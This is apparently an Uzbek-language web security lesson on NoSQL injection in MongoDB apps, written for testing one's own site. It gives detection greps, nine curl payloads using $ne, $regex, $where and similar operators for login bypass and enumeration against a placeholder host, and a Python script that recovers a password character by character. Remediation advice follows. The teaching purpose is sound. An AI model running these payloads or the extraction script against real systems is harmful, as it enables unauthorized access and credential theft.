NoSQL Injection

≡ Barcha darslar
Tezkor 🔎 Indeks
💉

NoSQL Injection

MongoDB operatorlarini suiiste'mol
Dars 03 Yuqori o'z saytingizda
1

Maqsad

MongoDB so'rovini buzish

NoSQL bazalar (MongoDB, CouchDB, Firebase) so'rov obyektini qabul qiladi. Agar foydalanuvchi qiymati to'g'ridan-to'g'ri so'rovga tushsa — operator qo'shib, autentifikatsiyani chetlab o'tish yoki butun bazani o'qish mumkin.

2

Tushuntirish

// XAVFLI — qiymat to'g'ridan-to'g'ri so'rovga
db.findOne({ email: req.body.email, password: req.body.password });
// hujum JSON emas, shaklni o'zgartiradi:
{{ "email": "admin@site.uz",
   "password": {{ "$ne": 1 }} }}      // password 1 ga teng EMAS
// → har qanday parol bilan kirish!

Asosiy operatorlar

OperatorNima qiladiHujum
$neteng emasparolni aylanib o'tish
$gt / $ltkatta/kichikma'lumot olish (blind)
$inro'yxatda bormilogin bypass
$regexqalqon bilan qidirishparolni belgibetlab olish
$whereJS ifodasioddiy 1==1
$existsmavjudlikmaydonlarni aniqlash
3

Qanday aniqlanadi

# 1) MongoJS / NoSQL ishlatiladimi
grep -rniE "mongoose|mongodb|MongoClient|\.find\(|\.findOne\(" src/ | head
grep -nE '"mongoose"|"mongodb"' package.json

# 2) so'rov obyekti foydalanuvchidan keladimi
grep -rnE "findOne\(\{.*req\.|find\(\{.*req\.|body\.\[|\$where" src/ | head

# 3) Content-Type
curl -s -D- -o /dev/null https://site.uz/api/auth/login \
  -H "Content-Type: application/json" -d '{}' | grep -i content-type
4

Buyruqlar

8 xil payload
# 1) $ne — barcha parollarni aylanib o'tish
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","password":{"$ne":""}}' | jq -c .

curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"email":{"$ne":""},"password":{"$ne":""}}' | jq -c .
// har qanday email + har qanday parol → admin

# 2) $gt — bo'sh parol / katta qiymat
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","password":{"$gt":""}}' | jq -c .

# 3) $regex — parolni belgibetlab olish
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","password":{"$regex":"^a"}}' | jq -c .
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","password":{"$regex":"^ab"}}' | jq -c .
// 200 → "ab" bilan boshlanadi (harflab chiqarib olamiz)

# 4) $in — ro'yxat
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"email":{"$in":["admin@site.uz","root@site.uz"]},"password":{"$ne":""}}' | jq -c .

# 5) $where — JS
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"$where":"1==1"}' | jq -c .
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"$where":"sleep(5000)"}' | jq -c .   # time-based

# 6) $exists — maydonlarni aniqlash
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","password":{"$exists":true}}' | jq -c .

# 7) boshqa endpointlar
curl -s -X POST https://site.uz/api/search -H "Content-Type: application/json" \
  -d '{"q":{"$ne":null}}' | jq -c .
curl -s -X POST https://site.uz/api/users -H "Content-Type: application/json" \
  -d '{"role":{"$ne":"user"}}' | jq -c .

# 8) NoSQLi kalitlari orqali (/api/user/key:xxx)
curl -s "https://site.uz/api/user/email:admin@site.uz" | jq -c .
curl -s "https://site.uz/api/user/password:{\$ne:1}" | jq -c .

# 9) to'liq parolni chiqarish (regex binary search)
python3 - <<'PYEOF'
import requests, string
C = string.printable[:62]
found = ""
while True:
    for c in C:
        r = requests.post("https://site.uz/api/auth/login",
            json={"email": "admin@site.uz", "password": {"$regex": f"^{found}{c}"}})
        if r.status_code == 200:
            found += c
            print("  topildi:", found)
            break
    else:
        print("  parol:", found, "tugadi")
        break
PYEOF
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
`{"password":{"$ne":1}}` bilan kirish**NoSQLi — autentifikatsiya yo'q qoldi**
`$regex` harflab parolni qaytardi**Parol to'liq o'g'irlindi**
`$where:1==1` barcha foydalanuvchilarni qaytardi**To'liq jadval oqildi**
`$in` bilan admin email topildi**Email enumeration**
`sleep(5000)` 5 sek kechikdi**Time-based blind NoSQLi**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`400 / invalid credentials`**To'g'ri** — tiplar tekshiriladi
Operator obyekt rad etildi (400)**Xavfsiz**
`success:false` har doim bir xil**To'g'ri**
6

Zararni yopish

1. Qiymat turini majburlash

// har doim string bo'lishi kerak
if (typeof email !== 'string' || typeof password !== 'string')
  return res.status(400).json({{ success:false }});

const email = String(req.body.email).toLowerCase();
if (!/^[^@]+@[^@]+\.[a-z]{{2,}}$/.test(email)) return fail();

2. Operatorlarni to'ldirmaslik

const DANGEROUS = ['$ne','$gt','$lt','$gte','$lte','$in','$nin',
                    '$regex','$where','$exists','$or','$and','$not'];
function safe(v) {{
  if (typeof v === 'string') return v;
  if (typeof v !== 'object' || v === null) return v;
  for (const k of Object.keys(v)) if (DANGEROUS.includes(k)) return null;
  return v;
}}

3. Mongoose schema (eng yaxshi)

const userSchema = new mongoose.Schema({{
  email:    {{ type: String, required: true, unique: true }},
  password: {{ type: String, required: true, select: false }}   // ← har doim
}});
userSchema.pre('find', function () {{ this.select('-password'); }});

4. MongoDB sozlamasi

// autentifikatsiya va TLS majburiy
db.createUser({{ user:'app', pwd: process.env.MONGO_PW, roles:[{{role:'readWrite', db:'app'}}] }})
mongod --auth --bind_ip 127.0.0.1
7

Tekshirish ro'yxati

  • Email/parol `typeof string` ga tekshiriladi
  • `$` bilan boshlanuvchi operatorlar rad etilgan
  • Mongoose `type` va `required` belgilangan
  • `password` maydoni `select: false`
  • MongoDB autentifikatsiya bilan, `127.0.0.1` ga bog'langan
  • `{"$ne":1}` bilan test qilindi